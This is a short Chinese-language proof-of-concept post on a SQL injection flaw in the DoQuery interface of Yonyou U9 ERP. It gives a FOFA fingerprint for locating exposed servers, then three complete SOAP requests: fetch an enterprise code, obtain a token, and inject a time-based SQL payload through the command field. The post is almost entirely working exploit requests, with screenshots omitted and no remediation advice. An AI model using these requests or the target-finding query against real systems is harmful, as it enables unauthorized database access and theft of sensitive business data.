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用友U9系统DoQuery接口存在SQL注入

用友u9 DoQuery 接口存在SQL注入,攻击者可通过该漏洞获取敏感信息。

fofa

body="logo-u9.png"

poc

第一步:获取code

POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: 309
SOAPAction: "http://tempuri.org/GetEnterprise"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetEnterprise xmlns="http://tempuri.org/" />
</soap:Body>
</soap:Envelope>

image-20240730093905712

第二步:获取token


POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: 345
SOAPAction: "http://tempuri.org/GetToken"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetToken xmlns="http://tempuri.org/">
<endId>000</endId>
</GetToken>
</soap:Body>
</soap:Envelope>

image-20240730093936752

第三步:SQL注入,token处填入上面获取的

POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: 345
SOAPAction: "http://tempuri.org/DoQuery"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<DoQuery xmlns="http://tempuri.org/">
<token></token>
<command>select 1;waitfor delay '0:0:1' --</command>
</DoQuery>
</soap:Body>
</soap:Envelope>

image-20240730094018683

漏洞来源